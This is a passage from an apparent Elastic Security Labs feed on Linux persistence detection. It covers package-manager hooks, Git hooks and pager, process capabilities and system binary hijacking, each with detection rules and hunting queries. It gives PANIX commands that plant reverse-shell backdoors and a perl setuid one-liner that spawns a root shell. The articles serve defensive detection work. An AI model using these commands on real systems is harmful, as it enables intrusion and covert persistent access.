<p>To test this method, a Debian-based system that leverages APT or the manual installation of APT is required. Make sure that if you perform this step manually, that you do not break the APT package manager, as <a href="https://github.com/Aegrah/PANIX/blob/main/panix.sh#L2021C4-L2021C138">a carefully crafted payload</a> that detaches and runs in the background is necessary to not interrupt the execution chain. You can setup APT persistence by running:</p>
<pre><code>&gt; sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2012 --apt
&gt; [+] APT persistence established
</code></pre>
<p>To trigger the payload, run an APT command, such as <code>sudo apt update</code>. This will spawn a reverse shell. Let’s take a look at the events in Discover:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image10.png" alt="Events generated as a result of package manager (APT) persistence establishment" title="Events generated as a result of package manager (APT) persistence establishment" /></p>
<p>In the figure above, we see PANIX being executed, creating the <code>01python-upgrades</code> file, and successfully establishing the APT hook. After running <code>sudo apt update</code>, APT reads the configuration file and executes the payload, initiating the <code>sh</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code> reverse shell chain. Our coverage is multi-layered, and detects the following events:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_apt_package_manager_file_creation.toml">APT Package Manager Configuration File Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_apt_package_manager_execution.toml">Suspicious APT Package Manager Execution</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_apt_package_manager_command_execution.toml">APT Package Manager Command Execution</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_apt_package_manager_netcon.toml">Suspicious APT Package Manager Network Connection</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_apt_package_manager_egress_network_connection.toml">APT Package Manager Egress Network Connection</a></td>
</tr>
</tbody>
</table>
<h3>T1546.016 - installer packages (YUM)</h3>
<p><a href="https://man7.org/linux/man-pages/man8/yum.8.html">YUM</a> (Yellowdog Updater, Modified) is the default package management system used in Red Hat-based Linux distributions like CentOS and Fedora. YUM employs <a href="https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins">plugin architecture</a> to extend its functionality, allowing users to integrate custom scripts or programs that execute at various stages of the package management lifecycle. These plugins are stored in specific directories and can perform actions such as logging, security checks, or custom package handling.</p>
<p>The structure of YUM plugins typically involves placing them in directories like:</p>
<ul>
<li><code>/etc/yum/pluginconf.d/</code> (for configuration files)</li>
<li><code>/usr/lib/yum-plugins/</code> (for plugin scripts)</li>
</ul>
<p>For plugins to be enabled, the <code>/etc/yum.conf</code> file must have the <code>plugins=1</code> set. These plugins can intercept YUM operations, modify package installation behaviors, or execute additional actions before or after package transactions. YUM plugins are quite extensive, but a basic YUM plugin template might look like <a href="http://yum.baseurl.org/wiki/WritingYumPlugins.html">this</a>:</p>
<pre><code>from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE

requires_api_version = '2.3'
plugin_type = (TYPE_CORE, TYPE_INTERACTIVE)

def init_hook(conduit):
    conduit.info(2, 'Hello world')

def postreposetup_hook(conduit):
    raise PluginYumExit('Goodbye')
</code></pre>
<p>Each plugin must be enabled through a <code>.conf</code> configuration file:</p>
<pre><code>[main]                                                                                                                               enabled=1
</code></pre>
<p>Similar to APT's configuration files, YUM plugins can be leveraged by attackers to execute malicious code during routine package management operations, particularly during automated processes like system updates, thereby establishing persistence on vulnerable systems.</p>
<h4>Persistence through T1546.016 - Installer Packages (YUM)</h4>
<p>Similar to APT, YUM plugins should be crafted carefully to not interfere with the YUM update execution flow. Use <a href="https://github.com/Aegrah/PANIX/blob/main/panix.sh#L2025-L2047">this example</a> or set it up by running:</p>
<pre><code>&gt; sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2012 --yum
[+] Yum persistence established
</code></pre>
<p>After planting the persistence mechanism, a command similar to <code>sudo yum upgrade</code> can be run to establish a reverse connection.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image1.png" alt="Events generated as a result of package manager (YUM) persistence establishment" title="Events generated as a result of package manager (YUM) persistence establishment" /></p>
<p>We see PANIX being executed, <code>/usr/lib/yumcon</code>, <code>/usr/lib/yum-plugins/yumcon.py</code> and <code>/etc/yum/pluginconf.d/yumcon.conf</code> being created. <code>/usr/lib/yumcon</code> is executed by <code>yumcon.py</code>, which is enabled in <code>yumcon.conf</code>. After updating the system, the reverse shell execution chain (<code>yum</code> → <code>sh</code> → <code>setsid</code> → <code>yumcon</code> → <code>python</code>) is executed. Similar to APT, our YUM coverage is multi-layered, and detects the following events:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_yum_package_manager_plugin_file_creation.toml">Yum Package Manager Plugin File Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/discovery_yum_dnf_plugin_detection.toml">Yum/DNF Plugin Status Discovery</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_egress_connection_by_a_yum_package_manager_descendant.toml">Egress Connection by a YUM Package Manager Descendant</a></td>
</tr>
</tbody>
</table>
<h3>T1546.016 - installer packages (DNF)</h3>
<p><a href="https://man7.org/linux/man-pages/man8/dnf.8.html">DNF</a> (Dandified YUM) is the next-generation package manager used in modern Red Hat-based Linux distributions, including Fedora and CentOS. It replaces YUM while maintaining compatibility with YUM repositories and packages. Similar to YUM, DNF utilizes a <a href="https://docs.redhat.com/it/documentation/red_hat_enterprise_linux/9/html/managing_software_with_the_dnf_tool/assembly_configuring-yum_managing-software-with-the-dnf-tool#proc_enabling-and-disabling-yum-plug-ins_assembly_configuring-yum">plugin system</a> to extend its functionality, enabling users to integrate custom scripts or programs that execute at key points in the package management lifecycle.</p>
<p>DNF plugins enhance its capabilities by allowing customization and automation beyond standard package management tasks. These plugins are stored in specific directories:</p>
<ul>
<li><code>/etc/dnf/pluginconf.d/</code> (for configuration files)</li>
<li><code>/usr/lib/python3.9/site-packages/dnf-plugins/</code> (for plugin scripts)</li>
</ul>
<p>Of course the location for the dnf-plugins are bound to the Python version that is running on your system. Similarly to YUM, to enable a plugin, <code>plugins=1</code> must be set in <code>/etc/dnf/dnf.conf</code>. An example of a DNF plugin can look like this:</p>
<pre><code>import dbus
import dnf
from dnfpluginscore import _

class NotifyPackagekit(dnf.Plugin):
	name = &quot;notify-packagekit&quot;

	def __init__(self, base, cli):
		super(NotifyPackagekit, self).__init__(base, cli)
		self.base = base
		self.cli = cli
	def transaction(self):
		try:
			bus = dbus.SystemBus()
			proxy = bus.get_object('org.freedesktop.PackageKit', '/org/freedesktop/PackageKit')
			iface = dbus.Interface(proxy, dbus_interface='org.freedesktop.PackageKit')
			iface.StateHasChanged('posttrans')
		except:
			pass 
</code></pre>
<p>As for YUM, each plugin must be enabled through a <code>.conf</code> configuration file:</p>
<pre><code>[main]                                                                                                                               enabled=1
</code></pre>
<p>Similar to YUM's plugins and APT's configuration files, DNF plugins can be exploited by malicious actors to inject and execute unauthorized code during routine package management tasks. This attack vector extends to automated processes such as system updates, enabling persistent execution on systems with DNF-enabled repositories.</p>
<h4>Persistence through T1546.016 - installer packages (DNF)</h4>
<p>Similar to APT and YUM, DNF plugins should be crafted carefully to not interfere with the DNF update execution flow. You can use the following <a href="https://github.com/Aegrah/PANIX/blob/main/panix.sh#L2049-L2069">example</a> or set it up by running:</p>
<pre><code>&gt; sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2013 --dnf
&gt; [+] DNF persistence established
</code></pre>
<p>Running a command similar to <code>sudo dnf update</code> will trigger the backdoor. Take a look at the events:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image12.png" alt="Events generated as a result of package manager (DNF) persistence establishment" title="Events generated as a result of package manager (DNF) persistence establishment" /></p>
<p>After the execution of PANIX, <code>/usr/lib/python3.9/site-packages/dnfcon</code>, <code>/etc/dnf/plugins/dnfcon.conf</code> and <code>/usr/lib/python3.9/site-packages/dnf-plugins/dnfcon.py</code> are created, and the backdoor is established. These locations are dynamic, based on the Python version in use. After triggering it through the <code>sudo dnf update</code> command, the <code>dnf</code> → <code>sh</code> → <code>setsid</code> → <code>dnfcon</code> → <code>python</code> reverse shell chain is initiated. Similar to before, our DNF coverage is multi-layered, and detects the following events:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_dnf_package_manager_plugin_file_creation.toml">DNF Package Manager Plugin File Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/discovery_yum_dnf_plugin_detection.toml">Yum/DNF Plugin Status Discovery</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_egress_connection_by_a_dnf_package_manager_descendant.toml">Egress Connection by a DNF Package Manager Descendant</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for persistence through T1546.016 - installer packages</h3>
<p>Hunting for Package Manager persistence can be conducted through ES|QL and OSQuery. Indicators of compromise may include configuration and plugin file creations/modifications and unusual executions of APT/YUM/DNF parents. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_package_manager.toml">Persistence via Package Manager</a> rule contains several ES|QL/OSQuery queries that you can use to detect these abnormalities.</p>
<h2>T1546 - event triggered execution: Git</h2>
<p><a href="https://manpages.debian.org/stretch/git-man/git.1.en.html">Git</a> is a distributed version control system widely used for managing source code and coordinating collaborative software development. It tracks changes to files and enables efficient team collaboration across different locations. This makes Git a system that is present in a lot of organizations across both workstations and servers. Two functionalities that can be (ab)used for arbitrary code execution are <a href="https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks">Git hooks</a> and <a href="https://www.mslinn.com/git/200-git-pager.html">Git pager</a>. MITRE has no specific technique attributed to these persistence mechanisms, but they would best fit <a href="https://attack.mitre.org/techniques/T1546/">T1546</a>.</p>
<h3>T1546 - event triggered execution: Git hooks</h3>
<p><a href="https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks">Git hooks</a> are scripts that Git executes before or after specific events such as commits, merges, and pushes. These hooks are stored in the <code>.git/hooks/</code> directory within each Git repository. They provide a mechanism for customizing and automating actions during the Git workflow. Common Git hooks include <code>pre-commit</code>, <code>post-commit</code>, <code>pre-merge</code>, and <code>post-merge</code>.</p>
<p>An example of a Git hook would be the file <code>.git/hooks/pre-commit</code>, with the following contents:</p>
<pre><code>#!/bin/sh
# Check if this is the initial commit
if git rev-parse --verify HEAD &gt;/dev/null 2&gt;&amp;1
then
    echo &quot;pre-commit: About to create a new commit...&quot;
    against=HEAD
else
    echo &quot;pre-commit: About to create the first commit...&quot;
    against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi
</code></pre>
<p>As these scripts are executed on specific actions, and the contents of the scripts can be changed in whatever way the user wants, this method can be abused for persistence. Additionally, this method does not require root privileges, making it a convenient persistence technique for instances where root privileges are not yet obtained. These scripts can also be added to Github repositories prior to cloning, turning them into initial access vectors as well.</p>
<h3>T1546 - event triggered execution: git pager</h3>
<p>A <a href="https://en.wikipedia.org/wiki/Terminal_pager">pager</a> is a program used to view content one screen at a time. It allows users to scroll through text files or command output without the text scrolling off the screen. Common pagers include <a href="https://www.commandlinux.com/man-page/man1/pager.1.html">less</a>, <a href="https://man7.org/linux/man-pages/man1/more.1.html">more</a>, and <a href="https://man7.org/linux/man-pages/man1/pg.1.html">pg</a>. A <a href="https://www.mslinn.com/git/200-git-pager.html">Git pager</a> is a specific use of a pager program to display the output of Git commands. Git allows users to configure a pager to control the display of commands such as <code>git log</code>.</p>
<p>Git determines which pager to use through the following order of configuration:</p>
<ul>
<li><code>/etc/gitconfig</code> (system-wide)</li>
<li><code>~/.gitconfig</code> or <code>~/.config/git/config</code> (user-specific)</li>
<li><code>.git/config</code> (repository specific)</li>
</ul>
<p>A typical configuration where a pager is specified might look like this:</p>
<pre><code>[core]
    pager = less
</code></pre>
<p>In this example, Git is configured to use less as the pager. When a user runs a command like <code>git log</code>, Git will pipe the output through less for easier viewing. The flexibility in specifying a pager can be exploited. For example, an attacker can set the pager to a command that executes arbitrary code. This can be done by modifying the <code>core.pager</code> configuration to include malicious commands. Let’s take a look at the two techniques discussed in this section.</p>
<h3>Persistence through T1546 - Git</h3>
<p>To test these techniques, the system requires a cloned Git repository. There is no point in setting up a custom repository, as the persistence mechanism depends on user actions, making a hidden and unused Git repository an illogical construct. You could initialize your own hidden repository and chain it together with a <code>cron</code>/<code>systemd</code>/<code>udev</code> persistence mechanism to initialize the repository on set intervals, but that is out of scope for now.</p>
<p>To test the Git Hook technique, ensure a Git repository is available on the system, and run:</p>
<pre><code>&gt; ./panix.sh --git --default --ip 192.168.1.1 --port 2014 --hook
</code></pre>
<p><code>&gt; [+] Created malicious pre-commit hook in /home/ruben/panix</code></p>
<p>The program loops through the entire filesystem (as far as this is possible, based on permissions), finds all of the repositories, and backdoors them. To trigger the backdoor, run <code>git add -A</code> and <code>git commit -m &quot;backdoored!&quot;</code>. This will generate the following events:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image3.png" alt="Events generated as a result of the Git Hook persistence establishment" title="Events generated as a result of the Git Hook persistence establishment" /></p>
<p>In this figure we see PANIX looking for Git repositories, adding a <code>pre-commit</code> hook and granting it execution permissions, successfully planting the backdoor. Next, the backdoor is initiated through the <code>git commit</code>, and the <code>git</code> → <code>pre-commit</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code> reverse shell connection is initiated.</p>
<p>To test the Git pager technique, ensure a Git repository is available on the system and run:</p>
<pre><code>&gt; ./panix.sh --git --default --ip 192.168.1.1 --port 2015 --pager
&gt; [+] Updated existing Git config with malicious pager in /home/ruben/panix
&gt; [+] Updated existing global Git config with malicious pager 
</code></pre>
<p>To trigger the payload, move into the backdoored repository and run a command such as <code>git log</code>. This will trigger the following events:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image15.png" alt="Events generated as a result of the Git Pager persistence establishment" title="Events generated as a result of the Git Pager persistence establishment" /></p>
<p>PANIX executes and starts searching for Git repositories. Once found, the configuration files are updated or created, and the backdoor is planted. Invoking the Git Pager (<code>less</code>) executes the backdoor, setting up the <code>git</code> → <code>sh</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code> reverse connection chain.</p>
<p>We have several layers of detection, covering the Git Hook/Pager persistence techniques.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_git_hook_file_creation.toml">Git Hook Created or Modified</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_git_hook_process_execution.toml">Git Hook Child Process</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_git_hook_execution.toml">Git Hook Command Execution</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_shell_evasion_linux_binary.toml">Linux Restricted Shell Breakout via Linux Binary(s)</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_git_hook_netcon.toml">Git Hook Egress Network Connection</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for persistence through T1546 - Git</h3>
<p>Hunting for Git Hook/Pager persistence can be conducted through ES|QL and OSQuery. Potential indicators include file creations in the <code>.git/hook/</code> directories, Git Hook executions, and the modification/creation of Git configuration files. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_git_hook_pager.toml">Git Hook/Pager Persistence</a> hunting rule has several ES|QL and OSQuery queries that will aid in detecting this technique.</p>
<h2>T1548 - abuse elevation control mechanism: process capabilities</h2>
<p><a href="https://man7.org/linux/man-pages/man7/capabilities.7.html">Process capabilities</a> are a fine-grained access control mechanism that allows the division of the root user's privileges into distinct units. These capabilities can be independently enabled or disabled for processes, and are used to enhance security by limiting the privileges of processes. Instead of granting a process full root privileges, only the necessary capabilities are assigned, reducing the risk of exploitation. This approach follows the principle of least privilege.</p>
<p>To better understand them, some use cases for process capabilities are e.g. assigning <code>CAP_NET_BIND_SERVICE</code> to a web server that needs to bind to port 80, assigning <code>CAP_NET_RAW</code> to tools that need access to network interfaces or assigning <code>CAP_DAC_OVERRIDE</code> to backup software requiring access to all files. By leveraging these capabilities, processes are capable of performing tasks that are usually only possible with root access.</p>
<p>While process capabilities were developed to enhance security, once root privileges are acquired, attackers can abuse them to maintain persistence on a compromised system. By setting specific capabilities on binaries or scripts, attackers can ensure their malicious processes can operate with elevated privileges and allow for an easy way back to root access in case of losing it. Additionally, misconfigurations may allow attackers to escalate privileges.</p>
<p>Some process capabilities can be (ab)used to establish persistence, escalate privileges, access sensitive data, or conduct other tasks. Process capabilities that can do this include, but are not limited to:</p>
<ul>
<li><code>CAP_SYS_MODULE</code> (allows loading/unloading of kernel modules)</li>
<li><code>CAP_SYS_PTRACE</code> (enables tracing and manipulation of other processes)</li>
<li><code>CAP_DAC_OVERRIDE</code> (bypasses read/write/execute checks)</li>
<li><code>CAP_DAC_READ_SEARCH</code> (grants read access to any file on the system)</li>
<li><code>CAP_SETUID</code>/<code>CAP_SETGID</code> (manipulate UID/GID)</li>
<li><code>CAP_SYS_ADMIN</code> (to be honest, this just means root access)</li>
</ul>
<p>A simple way of establishing persistence is to grant the process <code>CAP_SETUID</code> or <code>CAP_SETGID</code> capabilities (this is similar to setting the <code>SUID</code>/<code>SGID</code> bit to a process, which we discussed in <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">the previous persistence blog</a>). But all of the ones above can be used, be a bit creative here! MITRE does not have a technique dedicated to process capabilities. Similar to Setuid/Setgid, this technique can be leveraged for both privilege escalation and persistence. The most logical technique to add this mechanism to (based on the existing structure of the MITRE ATT&amp;CK framework) would be <a href="https://attack.mitre.org/techniques/T1548/">T1548</a>.</p>
<h3>Persistence through T1548 - process capabilities</h3>
<p>Let’s leverage PANIX to set up a process with <code>CAP_SETUID</code> process capabilities by running:</p>
<pre><code>&gt; sudo ./panix.sh --cap --default
[+] Capability setuid granted to /usr/bin/perl
[-] ruby, is not present on the system.
[-] php is not present on the system.
[-] python is not present on the system.
[-] python3, is not present on the system.
[-] node is not present on the system. 
</code></pre>
<p>PANIX will by-default check for a list of processes that are easily exploitable after granting <code>CAP_SETUID</code> capabilities. You can use <code>--custom</code> and specify <code>--capability</code> and <code>--binary</code> to test some of your own.</p>
<p>If your system has <code>Perl</code>, you can take a look at <a href="https://gtfobins.github.io/gtfobins/perl/">GTFOBins</a> to find how to escalate privileges with this capability set.</p>
<pre><code>/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec &quot;/bin/sh&quot;;'
# whoami
root
</code></pre>
<p>Looking at the logs in Discover, we can see the following happening:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image13.png" alt="Events generated as a result of the Linux capability persistence establishment" title="Events generated as a result of the Linux capability persistence establishment" /></p>
<p>We can see PANIX being executed with <code>uid=0</code> (root), which grants <code>cap_setuid+ep</code> (effective and permitted) to <code>/usr/bin/perl</code>. Effective indicates that the capability is currently active for the process, while permitted indicates that the capability is allowed to be used by the process. Note that all events with <code>uid=0</code> have all effective/permitted capabilities set. After granting this capability and dropping down to user permissions, <code>perl</code> is executed and manipulates its own process UID to obtain root access. Feel free to try out different binaries/permissions.</p>
<p>As we have quite an extensive list of rules related to process capabilities (for discovery, persistence and privilege escalation activity), we will not list all of them here. Instead, you can take a look at <a href="https://www.elastic.co/de/security-labs/unlocking-power-safely-privilege-escalation-via-linux-process-capabilities">this blog post</a>, digging deeper into this topic.</p>
<h3>Hunting for persistence through T1548 - process capabilities</h3>
<p>Hunting for process capability persistence can be done through ES|QL. We can either do a general hunt and find non uid 0 binaries with capabilities set, or hunt for specific potentially dangerous capabilities. To do so, we created the <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/privilege_escalation_via_process_capabilities.toml">Process Capability Hunting</a> rule.</p>
<h2>T1554 - compromise host software binary: hijacking system binaries</h2>
<p>After gaining access to a system and, if necessary, escalating privileges to root access, system binary hijacking/wrapping is another option to establish persistence. This method relies on the trust and frequent execution of system binaries by a user.</p>
<p>System binaries, located in directories like <code>/bin</code>, <code>/sbin</code>, <code>/usr/bin</code>, and <code>/usr/sbin</code> are commonly used by users/administrators to perform basic tasks. Attackers can hijack these system binaries by replacing or backdooring them with malicious counterparts. System binaries that are used often such as <code>cat</code>, <code>ls</code>, <code>cp</code>, <code>mv</code>, <code>less</code> or <code>sudo</code> are perfect candidates, as this mechanism relies on the user executing the binary.</p>
<p>There are multiple ways to establish persistence through this method. The attacker may manipulate the system’s <code>$PATH</code> environment variable to prioritize a malicious binary over the regular system binary. Another method would be to replace the real system binary, executing arbitrary malicious code on launch, after which the regular command is executed.</p>
<p>Attackers can be creative in leveraging this technique, as any code can be executed. For example, the system-wide <code>sudo</code>/<code>su</code> binaries can be backdoored to capture a password every time a user attempts to run a command with <code>sudo</code>. Another method can be to establish a reverse connection every time a binary is executed or a backdoor binary is called on each binary execution. As long as the attacker hides well and no errors are presented to the user, this technique is difficult to detect. MITRE does not have a direct reference to this technique, but it probably fits <a href="https://attack.mitre.org/techniques/T1554/">T1554</a> best.</p>
<p>Let’s take a look at what hijacking system binaries might look like.</p>
<h3>Persistence through T1554 - hijacking system binaries</h3>
<p>The implementation of system binary hijacking in PANIX leverages the wrapping of a system binary to establish a reverse connection to a specified IP. You can reference this <a href="https://github.com/Aegrah/PANIX/blob/main/panix.sh#L2391-L2401">example</a> or set it up by executing:</p>
<pre><code>&gt; sudo ./panix.sh --system-binary --default --ip 192.168.1.1 --port 2016
&gt; [+] cat backdoored successfully.
&gt; [+] ls backdoored successfully.
</code></pre>
<p>Now, execute <code>ls</code> or <code>cat</code> to establish persistence. Let’s analyze the logs.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image11.png" alt="Events generated as a result of the Linux system binary hijacking persistence establishment" title="Events generated as a result of the Linux system binary hijacking persistence establishment" /></p>
<p>In the figure above we see PANIX executing, moving <code>/usr/bin/ls</code> to <code>/usr/bin/ls.original</code>. It then backdoors <code>/usr/bin/ls</code> to execute arbitrary code, after which it calls <code>/usr/bin/ls.original</code> in order to trick the user. Afterwards, we see <code>bash</code> setting up the reverse connection. The copying/renaming of system binaries and the hijacking of the <code>sudo</code> binary are captured in the following detection rules.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml">System Binary Moved or Copied</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_sudo_hijacking.toml">Potential Sudo Hijacking</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for persistence through T1554 - hijacking system binaries</h3>
<p>This activity should be very uncommon, and therefore the detection rules above can be leveraged for hunting. Another way of hunting for this activity could be assembling a list of uncommon binaries to spawn child processes. To aid in this process we created the <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_unusual_system_binary_parent.toml">Unusual System Binary Parent (Potential System Binary Hijacking Attempt)</a> hunting rule.</p>
<h2>Conclusion</h2>
<p>In this part of our “Linux Detection Engineering” series, we explored more advanced Linux persistence techniques and detection strategies, including init systems, run control scripts, message of the day, udev (rules), package managers, Git, process capabilities, and system binary hijacking. If you missed the previous part on persistence, catch up <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">here</a>.</p>
<p>We did not only explain each technique but also demonstrated how to implement them using <a href="https://github.com/Aegrah/PANIX">PANIX</a>. This hands-on approach allowed you to assess detection capabilities in your own security setup. Our discussion included detection and endpoint rule coverage and referenced effective hunting strategies, from ES|QL aggregation queries to live OSQuery hunts.</p>
<p>We hope you've found this format informative. Stay tuned for more insights into Linux detection engineering. Happy hunting!</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/sequel-on-persistence-mechanisms.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Linux Detection Engineering - A primer on persistence mechanisms]]></title>
            <link>https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms</link>
            <guid>primer-on-persistence-mechanisms</guid>
            <pubDate>Wed, 21 Aug 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In this second part of the Linux Detection Engineering series, we map multiple Linux persistence mechanisms to the MITRE ATT&CK framework, explain how they work, and how to detect them.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In this second part of the Linux Detection Engineering series, we'll examine Linux persistence mechanisms in detail, starting with common or straightforward methods and moving toward more complex or obscure techniques. The goal is to educate defenders and security researchers on the foundational aspects of Linux persistence techniques by examining both trivial and more complicated methods, understanding how these methods work, how to hunt for them, and how to develop effective detection strategies.</p>
<p>For those who missed the first part, &quot;Linux Detection Engineering with Auditd&quot;, it can be found <a href="https://www.elastic.co/de/security-labs/linux-detection-engineering-with-auditd">here</a>.</p>
<p>For this installment, we'll set up the persistence mechanisms, analyze the logs, and observe the potential detection opportunities. To aid in this process, we’re sharing <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a Linux persistence tool developed by Ruben Groenewoud of Elastic Security. PANIX simplifies and customizes persistence setup to test your detections.</p>
<p>By the end of this article, you'll have a solid understanding of each persistence mechanism we describe, including:</p>
<ul>
<li>How it works (theory)</li>
<li>How to set it up (practice)</li>
<li>How to detect it (SIEM and Endpoint rules)</li>
<li>How to hunt for it (ES|QL and OSQuery hunts)</li>
</ul>
<p>Step into the world of Linux persistence with us, it’s fun!</p>
<h2>What is persistence?</h2>
<p>Let’s start with the basics. <a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a> refers to an attacker's ability to maintain a foothold in a compromised system or network even after reboots, password changes, or other attempts to remove them.</p>
<p>Persistence is crucial for attackers, ensuring extended access to the target environment. This enables them to gather intelligence, understand the environment, move laterally through the network, and work towards achieving their objectives.</p>
<p>Given that most malware attempts to establish some form of persistence automatically, this phase is critical for defenders to understand. Ideally, attacks should be detected and prevented during initial access, but this is not always possible. Many malware samples also leverage multiple persistence techniques to ensure continued access. Notably, these persistence mechanisms can often be detected with robust defenses in place.</p>
<p>Even if an attack is detected, the initial access vector is patched and mitigated, but any leftover persistence mechanism can allow the attackers to regain access and resume their operations. Therefore, it's essential to monitor the establishment of some persistence mechanisms close to real time and hunt others regularly.</p>
<p>To support this effort, Elastic utilizes the MITRE ATT&amp;CK framework as the primary lexicon for categorizing techniques in most of our detection artifacts. <a href="https://attack.mitre.org/matrices/enterprise/">MITRE ATT&amp;CK</a> is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is commonly used as a foundation for developing specific threat models and methodologies within the field of cybersecurity. By leveraging this comprehensive framework, we enhance our ability to detect, understand, and mitigate persistent threats effectively.</p>
<h2>Setup</h2>
<p>To ensure you are prepared to detect the persistence mechanisms discussed in this article, <a href="https://www.elastic.co/de/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules">enabling and updating our pre-built detection rules is important</a>. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and fill in any gaps.</p>
<p>To install, enable, and update our pre-built rules, follow these steps:</p>
<ol>
<li>Navigate to Kibana → Security → Rules → Detection rules (SIEM).</li>
<li>You will find your installed and potential new and/or updated pre-built rules here.</li>
<li>Use the &quot;Add Elastic rules&quot; button to add the latest Elastic pre-built rules.</li>
<li>Use the &quot;Rule Updates&quot; tab to update existing rules.</li>
</ol>
<p>Now, we are ready to get started.</p>
<h2>T1053 - scheduled task/job</h2>
<p>Automating routine tasks is common in Unix-like operating systems for system maintenance. Some common utilities used for task scheduling are <a href="https://www.man7.org/linux/man-pages/man8/cron.8.html">cron</a> and <a href="https://man7.org/linux/man-pages/man1/at.1p.html">at</a>. MITRE details information related to this technique under the identifier <a href="https://attack.mitre.org/techniques/T1053/">T1053</a>.</p>
<h3>T1053.003 - scheduled task/job: Cron</h3>
